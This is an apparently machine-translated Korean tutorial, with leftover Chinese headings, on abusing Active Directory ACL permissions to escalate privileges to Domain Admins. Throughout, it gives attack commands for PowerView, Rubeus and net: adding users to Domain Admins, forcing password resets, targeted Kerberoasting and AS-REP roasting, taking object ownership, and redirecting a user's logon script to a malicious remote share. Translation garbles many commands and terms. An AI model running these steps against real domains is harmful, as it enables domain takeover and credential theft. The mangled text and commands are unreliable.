제목 : 인트라넷 활동 디렉토리 사용 방법

滥用活动目录ACLs\ACEs权限​

DACL 및 ACE는 액세스 제어와 관련된 개념이며 일반적으로 운영 체제 및 네트워크 환경에서 사용됩니다. 다음은 자세한 설명입니다.
DACL (임의 액세스 제어 목록) : DACL은 특정 객체 (예 : 파일, 폴더, 레지스트리 키 등)에 액세스 할 수있는 사람을 결정하는 데 사용되는 액세스 제어 목록입니다. DACL은 액세스 제어 항목 (ACE) 목록입니다. ACE (Access Control Entry) : ACE는 DACL의 기본 단위로, 객체에 대한 액세스를 부여하거나 거부하는 데 사용됩니다. 각 ACE는 보안 원칙 (예 : 사용자, 그룹, 컴퓨터 등) 및 보안 원장의 권한을 정의합니다. DACL에서 각 ACE에는 다음 정보가 포함되어 있습니다.
SID (Security Principal) : 액세스 권한이 승인되거나 거부 된 사용자, 그룹 또는 컴퓨터를 식별하는 고유 식별자. 액세스 권한 : 특정 작업 또는 권한 (예 : 읽기, 쓰기, 실행 등)을 나타냅니다. 액세스 마스크 : 실제로 부여되거나 거부 된 권한을 지정합니다. 보조 액세스 마스크 : 경우에 따라 다른 조건 또는 제한을 지정하는 데 사용됩니다. 객체에 액세스 할 때 시스템은 DACL의 ACE를 기반으로 확인합니다. 사용자 신원과 일치하는 ACE가 있고 ACE가 요청 된 권한을 부여하는 ACE가 있으면 액세스가 허용됩니다. ACE가 일치하지 않거나 사용자 신원과 일치하는 ACE가 있지만 ACE는 요청 된 권한을 거부하면 액세스가 거부됩니다.
도메인 관리자의 ACE는 다음과 같습니다
wwtsuvfrsvc9336.png

그중에서도 우리가 염려하는 권한은 다음과 같습니다.
GenericAll- 객체에 대한 전체 권한 (그룹에 사용자 추가 또는 사용자의 비밀번호를 재설정)GenericWrite- 객체의 속성 업데이트WriteOwner- 객체 소유자를 공격자로 변경하는 사용자 제어 사용자WriteDACL- 객체의 ACE를 수정하고 객체에 대한 전체 제어 기능 010-59에 사용자를 추가 할 수있는 능력 010-59 사용자의 비밀번호AllExtendedRights- GroupGenericall에 자신을 추가 할 수있는 기능 - 객체에 대한 전체 권한이 있습니다 (예 : 그룹에 그룹에 추가하거나 사용자의 암호를 재설정하는 등). GenericWrite- 객체의 속성 (예 : 로그인 스크립트)을 업데이트합니다. WRITEWORNER- 객체의 소유자를 공격자가 제어하는 사용자로 수정하고 개체를 인수하십시오. WRITEDACL- 객체의 에이스를 수정하고 공격자에게 객체를 모두 제어 할 수 있습니다. AllextendedRights- 그룹에 사용자를 추가하거나 비밀번호를 재설정하는 기능. ForceChangePassword- 사용자의 비밀번호를 변경하는 기능. 자기 (자기 회원) - 그룹에 자신을 더할 수있는 능력. 자기 회원-이 권한은 계정이 그룹에 자체적으로 추가 할 수있는 권한을 말합니다 (특정 그룹의 고급 권한에 ACE를 추가해야 할 필요성, 즉 그룹 개체를위한 것), 즉, 개체는 특정 그룹의 자체 회원 신원입니다.

GenericAll​

对用户账户的GenericAll权限​

PowerView 도구를 사용하여 사용자의 일반 권한을보십시오.
PowerShell -Exec 바이 패스
import-module. \ powerView.ps1
//사용자 man1의 AD 객체의 액세스 제어 목록 (ACL)을 가져 오십시오.
get -objectacl -samaccountname man1 -resolveguids | ? {$ _. Activedirectoryrights -eq 'genericall'}}
Spotless 사용자에게는 대의원에 대한 일반적인 권한이 있음을 알 수 있으므로 Scotless 사용자 권한이 얻어지면 대의원을 인수 할 수 있습니다.
gxyjq0tfpp29337.png

** 비밀번호 변경 : ** 비밀번호를 직접 변경하여 대의원 사용자를 수정하십시오. NET 사용자 USERNAMEPASSWORD /DOMAIN
** Kerberoasting Attack : ** Delegate 사용자를 위해 SPN을 설정 한 다음 Spotless 사용자의 TGT를 통해 모든 서비스 ST를 요청하고, 대의원의 해시 암호화 된 ST를 얻은 다음 크래킹하십시오. # SPN을 설정합니다
set -domainobject -credential $ creds -Identity username -set @{serviceprincipalname='가짜/nothing'}
# 해시를 얻으십시오
. \ rubeus.exe kerberost /user:username /nowrap
# SPN 청소
set -domainobject -credential $ creds -Identity username -clear serviceprincipalname -verbose
Python3 TargetedErkerBerost.py -Domain.local -u username -p password -v
** AsReproast Attack : ** 사전 승인을 비활성화함으로써 사용자를 대변 할 수있게하고 이에 대한 AsReproast 공격을 수행 할 수 있습니다. set -domainobject -Inditity username -xor @{userAccountControl=4194304}

对用户组的GenericAll权限​

//도메인 관리자 그룹의 DistinguishishedName 값 가져 오기
get-netgroup '도메인 관리자'
xx2chfcoi2s9338.png

//도메인 관리자 그룹의 ACL을 얻습니다
get -objectacl -resolveguids | ? {$ _. ObjectDN -EQ 'CN=Domain Admins, CN=사용자, DC=VVVV1, DC=COM'}
kdudcuhxvhb9339.png

Spotless 사용자는 Domain Admins Group에 일반적인 권한을 가지고 있으며 공격 할 수있는 것으로 밝혀졌습니다.
도메인 관리자 그룹에 자신 (사용자 흠없는) 또는 다른 사용자를 추가하십시오.
Net Group 'Domain Admins'Spotless /Add /Domain
Active Directory 또는 PowerSploit 모듈을 사용하여 공격 할 수도 있습니다.
# Active Directory 모듈이 있습니다
Add -AdgroupMember- identity 'Domain Admins' -멤버는 흠이 없습니다
# PowerSploit와 함께
add -netgroupuser -username spotless -groupname 'domain admins'-Domain 'freense.local'

对机器账户或服务账户的GenericAll权限​

머신 계정 또는 서비스 계정에 일반적인 권한 또는 일반 글리브 권한이있는 경우 리소스 기반 제한 조건 위임 공격 사용을 고려할 수 있습니다. 자세한 내용은 《内网横向移动-基于资源的约束委派》을 참조하십시오. 서비스 계정의 경우 위의 사용자 계정에 대한 공격 방법을 고려할 수도 있습니다. 또는 공격에 그림자 자격 증명을 사용합니다.ForceChangePassword

WriteProperty​

对用户组的WriteProperty权限​

당사 당사의 통제 사용자는 Domain Admins Group에 WriteProperty 권한이 있습니다.
1wopfhm2lbs9340.png

이 사용자는 도메인 관리자 그룹에 추가하여 권한을 높일 수 있습니다.
PowerShell -Exec 바이 패스
import-module. \ powerView.ps1
add -netgroupUser -username user -groupname 'domain admins'-Domain 'vvvv1.com'

Self (Self-Membership)​

对用户组的Self (Self-Membership)权限​

당사 당사의 통제 사용자는 도메인 관리자 그룹에 자체 (자체 멤버십) 권한이 있습니다.
zzjz142ware9341.png

이 권한은 또한 사용자를 그룹 권한에 추가하고 사용자를 도메인 관리자 그룹에 추가하여 권한을 높일 수 있습니다.
PowerShell -Exec 바이 패스
import-module. \ powerView.ps1
add -netgroupUser -username user -groupname 'domain admins'-Domain 'vvvv1.com'
'WriteProperty (자기 회원)'및 '자기 (자기 회원)'는 모두 자기 멤버십과 관련된 속성이지만 의미는 다릅니다.
'WriteProperty (Self-Membership)':이 속성은 객체가 자체 속성을 작성 (수정) 할 수 있음을 나타냅니다. 일반적으로 객체는 다른 객체의 특성 만 수정할 수 있지만 자체 속성을 직접 수정할 수는 없습니다. 그러나 'writeproperty (self-embership)'속성이 설정되면 객체는 자체 속성을 수정할 수 있습니다. 'self (self-embership)':이 속성은 객체 자체가 그룹 또는 컬렉션의 구성원임을 나타냅니다. 'WriteProperty (self embership)'속성과 다릅니다. 'self (self-embership)'속성은 객체 자체가 그룹 또는 컬렉션의 구성원임을 나타냅니다. 'WriteProperty (Self-Membership)'속성은 객체가 자체 속성을 수정할 권한이 있음을 나타냅니다.Self (Self-Membership)

WriteProperty (Self-Membership)​

对用户组的WriteProperty (Self-Membership)权限​

당사의 통제 사용자는 도메인 관리자 그룹에 대한 WriteProperty (자체 멤버십) 권한이 있습니다.
get -objectacl -resolveguids | ? {$ _. ObjectDN -EQ 'CN=도메인 관리자, CN=사용자, DC=범죄, DC=로컬' -$ _. IdentityReference -eq 'Ferfense \ Spotless'}}
i2s0xrxyweb9342.png

이 권한은 또한 사용자를 그룹 권한에 추가하고 사용자를 도메인 관리자 그룹에 추가하여 권한을 높일 수 있습니다.
Net Group 'Domain Admins'Spotless /Add /Domain
'WriteProperty (자기 회원)'및 '자기 (자기 회원)'는 모두 자기 멤버십과 관련된 속성이지만 의미는 다릅니다.
'WriteProperty (Self-Membership)':이 속성은 객체가 자체 속성을 작성 (수정) 할 수 있음을 나타냅니다. 일반적으로 객체는 다른 객체의 특성 만 수정할 수 있지만 자체 속성을 직접 수정할 수는 없습니다. 그러나 'writeproperty (self-embership)'속성이 설정되면 객체는 자체 속성을 수정할 수 있습니다. 'self (self-embership)':이 속성은 객체 자체가 그룹 또는 컬렉션의 구성원임을 나타냅니다. 'WriteProperty (self embership)'속성과 다릅니다. 'self (self-embership)'속성은 객체 자체가 그룹 또는 컬렉션의 구성원임을 나타냅니다. 'WriteProperty (Self-Membership)'속성은 객체가 자체 속성을 수정할 권한이 있음을 나타냅니다.影子凭证

ForceChangePassword​

对用户账户的ForceChangePassword权限​

제어 계정이 대상 계정의 ACL에서 '사용자-포스-체인지-파스 워드'객체 유형 인 경우 '확장 끈으로'권한이있는 경우 사용자의 현재 비밀번호를 알지 못하고 사용자의 암호를 재설정 할 수 있습니다.
PowerShell -Exec 바이 패스
import-module. \ powerView.ps1
get -objectacl -samaccountname delegate -resolveguids | ? {$ _. IdentityReference -eq 'Frecense \ Spotless'}}
zaqqvd00lr59343.png

도구 PowerView를 사용하여 비밀번호를 수정하십시오.
set -domainuserpassword- 식별 대의원 -Verbose
xmy2xzugmt09344.png

또는 다음 진술을 사용하십시오
$ c=간주
Set -DomainUserPassword -Identity Delegate -AccountPassword $ C.Password -Verbose
또는 한 줄 문장으로 요약되었습니다
Set -DomainUserPassword- 식별 대의원 -AccountPassword (ConvertTo -Securestring '123456'-asplaintext -force) -verbose
kr2wqlqjqht9345.png

WriteOwner​

对用户组的WriteOwner权限​

공격이 수행되기 전에 도메인 관리자의 소유자는 도메인 관리자였습니다.
00i41ummww39346.png

특정 그룹의 에이스를 열거 한 후, 컨트롤리스가없는 사용자가 'Writ
get -objectacl -resolveguids | ? {$ _. ObjectDN -EQ 'CN=도메인 관리자, CN=사용자, DC=범죄, DC=로컬' -$ _. IdentityReference -eq 'Ferfense \ Spotless'}}
zrcuukluu329347.png

우리는 '도메인 관리자'객체의 소유자를 사용자에게 변경할 수 있으며,이 경우 'Spotless'입니다. '-identity'로 지정된 SID는 'Domain Admins'그룹의 SID입니다.
SET-DOMAINOBJECTOWNER- 식별 S-1-5-21-2552734371-813931464-1050690807-512- 소유자 'SPOTLESS'-VERBOSE
//SID의 이름 Instad (htb: 릴)를 사용할 수도 있습니다.
set -domainobjectowner -Idlity 'domain admins'-oneridentity 'spotless'

GenericWrite​

Access Mask에서 일반 작품도 식별됩니다. 이 권한은 대상 객체의 속성 값을 업데이트 할 수 있습니다. PowerView의 Set-DomainObject 메소드를 사용하여 대상 속성의 값을 설정할 수 있습니다.

对用户账户的GenericWrite权限​

Get -Objectacl -resolveguids -SamaccountName Delegate | ? {$ _. IdentityReference -eq 'Frecense \ Spotless'}}
통제 된 사용자 Spotless는 다른 사용자 대의원에게 'WriteProperty'권한이 있으며이 권한은 'Script-Path'객체 유형에 적용됩니다. 이를 통해 공격자는 대의원의 로그인 스크립트 경로를 덮어 쓸 수 있습니다. 즉, 다음에 대의원이 로그인 할 때 시스템이 악성 스크립트를 실행합니다.
judbcssohbl9348.png

set -adobject -samaccountname delegate -propertyname scriptPath -PropertyValue '\\ 10.0.0.5 \ altachlegitscript.ps1'
Delegate 사용자의 로그인 스크립트 필드가 AD에서 업데이트 된 것을 알 수 있습니다.
tjldtewosie9349.png

对用户组的GenericWrite权限​

을 사용하면 새로운 사용자 (예 : 자신과 같은)를 그룹 구성원으로 추가 할 수 있습니다. 위의 《GenericAll-对用户组的GenericAll权限》 작업과 유사합니다.
# 크레딧을 만듭니다
$ pwd=ConvertTo -Securestring 'JustaweirdPwd! $'-asplaintext -force
$ creds=new-Object System.Management.Automation.pscredential ( '도메인 \ username', $ pwd)
# 그룹에 사용자 추가
Add -DomaingRoupMember -Credential $ Creds -Identity 'Group Name'-Members 'username'-verbose
# 사용자를 확인하십시오
 
뒤로
상단